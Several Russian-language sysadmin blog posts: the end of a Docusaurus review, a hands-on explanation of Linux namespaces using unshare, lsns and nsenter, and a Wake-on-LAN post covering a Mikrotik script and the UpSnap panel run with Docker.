Настройки сайта хранятся в js файлах. Чтобы их редактировать, знать js не обязательно. Если делать стандартный сайт, поменяв там иконки, цвета и т.д., то достаточно просто отредактировать существующие шаблоны.

Движок простой и удобный. Для постоянного использования нужно будет написать systemd юнит и проксировать запросы с какого-нибудь веб сервера, чтобы прикрутить TLS. Помимо документации в движке сразу реализована возможность вести блог и сделать страничку с какой-то общей информацией. То есть это может выступать как готовое решение для какого-то продукта, где есть его описание, документация и блог разработчиков. На выходе получается очень простой и быстрый html код, где ничего лишнего.

Функциональность Docusaurus расширяется плагинами. Для изменения внешнего вида есть множество готовых тем. Как я понял, это довольно популярный и зрелый продукт с большим сообществом. Так что если подбираете себе инструмент для ведения документации, обратите внимание. Его удобно загнать в git и там работать с исходниками.

Сайт / Исходники

#docs
​​В ОС на базе ядра Linux реализован механизм изоляции системных вызовов под названием namespace. С его помощью каждое приложение может быть изолировано от других средствами самого ядра, без сторонних инструментов. Попробую простыми словами рассказать, что это такое.

Покажу сразу на простом примере. Запустим оболочку bash с отдельными namespace PID и mount. То есть мы получим изолированную среду на уровне процессов и точек монтирования. Новый процесс bash в этом namespace получит id 1.

# unshare --pid --fork --mount-proc --mount /bin/bash
# ps ax
  PID TTY   STAT  TIME COMMAND
   1 pts/0  S   0:00 /bin/bash
   45 pts/0  R+   0:00 ps ax

Теперь на условном примере покажу изоляцию mount. Здесь же в изолированных namespaces добавляем монтирование:

# mkdir /tmp/dir1 /mnt/dir1
# mount --bind /tmp/dir1 /mnt/dir1
# mount | grep dir1
/dev/sda2 on /mnt/dir1 type ext4 (rw,relatime,errors=remount-ro)

При этом на самом хосте вы этого mount не увидите. Если в изолированном namespace создать что-то в /tmp/dir1, оно появится в /mnt/dir1, а если на хосте зайти в /mnt/dir1 там будет пусто, потому что для хоста этого монтирования не существует.

Посмотреть существующие namespaces можно командой lsns:

# lsns

................................................
4026532129 mnt     2  853 root       unshare --pid --fork --mount-proc --mount /bin/bash
4026532130 pid     1  854 root       └─/bin/bash
.................................................

Там будет видно в том числе созданные нами namespaces для форка bash. Это будут mnt и pid. Если у вас на хосте запущены контейнеры, то здесь же их и увидите. Работа контейнеров основана на этом механизме ядра.

Из показанного примера видно, что использовать изоляцию можно и без контейнеров. Можно создавать юниты systemd с использованием namespaces. Базово в системе уже есть некоторые юниты, работающие в своём пространстве. Их видно по lsns.

С помощью утилиты nsenter можно запускать процессы в произвольных namespaces. Откроем отдельную консоль и запустим процесс в созданном ранее namespace с bash. Для этого с помощью lsns узнаём pid процесса в ns pid и подцепляем к нему, к примеру, команду sleep.

# lsns | grep /bin/bash
4026532129 mnt     2  853 root       unshare --pid --fork --mount-proc --mount /bin/bash
4026532130 pid     1  854 root       └─/bin/bash

# nsenter -t 854 -m -p sleep 60

Возвращаемся в консоль с unshare и смотрим список процессов:

# ps ax
  PID TTY   STAT  TIME COMMAND
   1 pts/0  S   0:00 /bin/bash
   50 pts/2  S+   0:00 sleep 60
   51 pts/0  R+   0:00 ps ax

Видим процесс со sleep. Базово всё это попробовать довольно просто, но на самом деле там очень много нюансов. Поэтому все и пользуются готовыми решениями на базе этой технологии, типа Docker.

Всего существует следующий набор namespaces:

- mount - изоляция на уровне монтирования файловых систем;
- UTS - изоляция hostname и domainname, т.е. в каждом ns может быть своё имя хоста;
- IPC - изоляция межпроцессорного взаимодействия (Inter-process communication);
- network - свои сетевые настройки для разных ns, включая ip адреса, маршруты, правила файрволов;
- PID - изоляция процессов;
- user - изоляция пользовательских UIDs и GIDs;
- cgroup - ограничивает потребляемый объём аппаратных ресурсов, cpu, ram, io и т.д.;
- time - изоляция некоторых параметров времени, а конкретно только MONOTONIC и BOOTTIME, установить разное текущее время в разных ns нельзя.

Все эти ns можно использовать с помощью утилит unshare и nsenter. Также существует отдельный продукт systemd-nspawn, один из компонентов systemd, который реализует возможности для создания легковесных контейнеров. Он как-то не особо распространён, не знаю почему. По идее, благодаря тесной интеграции с systemd это должно быть удобно, так как systemd сейчас везде.

#linux
​​Я активно использую технологию wake on lan в личных целях. Запускаю разное железо дома, когда это нужно. Сам для этого использую Mikrotik и его функциональность в виде tool wol и встроенной системы скриптов. Скрипт выглядит вот так:

tool wol interface=ether1 mac=00:25:21:BC:39:42

Что-то вручную запускаю, что-то по таймеру. Если у вас нету Микротика, либо хочется что-то более красивое, удобное, то можно воспользоваться готовой панелькой для этого - UpSnap. Это простенькая веб панель с приятным внешним видом. Запустить можно в Docker:

# git clone https://github.com/seriousm4x/UpSnap
# cd UpSnap
# docker compose up

Всё, можно идти смотреть на http://172.20.4.92:8090/_/. Это админский url, где нужно будет зарегистрироваться. Сам дашборд будет доступен под той же учёткой, только по адресу без подчёркивания: http://172.20.4.92:8090/

Основные возможности UpSnap:

Общий Dashboard со всеми добавленными устройствами, с которыми можно выполнять настроенные действия: будить, завершать работу, наблюдать за открытыми портами и т.д.
Использовать планировщик для запланированных действий
Сканировать сеть с помощью nmap
Разделение прав с помощью пользователей

Выглядит симпатично. Подойдёт и в качестве простого мониторинга. Не знаю, насколько эти применимо где-то в работе, а для дома нормально. У меня всё то же самое реализовано на базе, как уже сказал, Mikrotik и Zabbix. Я и включаю, и выключаю, и слежу за запущенными устройствами с его помощью. Обычно перед сном смотрю, что в доме включенным осталось. Если дети или жена забыли свои компы выключить, могу это сделать удалённо. То же самое с дачей, котлом, компом и камерами там. Понятно, что для личного пользования Zabbix для этих целей перебор, но так как это один из основных моих рабочих инструментов, использую его везде.

UpSnap может заменить простенький мониторинг с проверкой хостов пингом и наличием настроенных открытых tcp портов. Разбираться не придётся, настроек минимум. Можно развернуть и сходу всё настроить.

Исходники

#мониторинг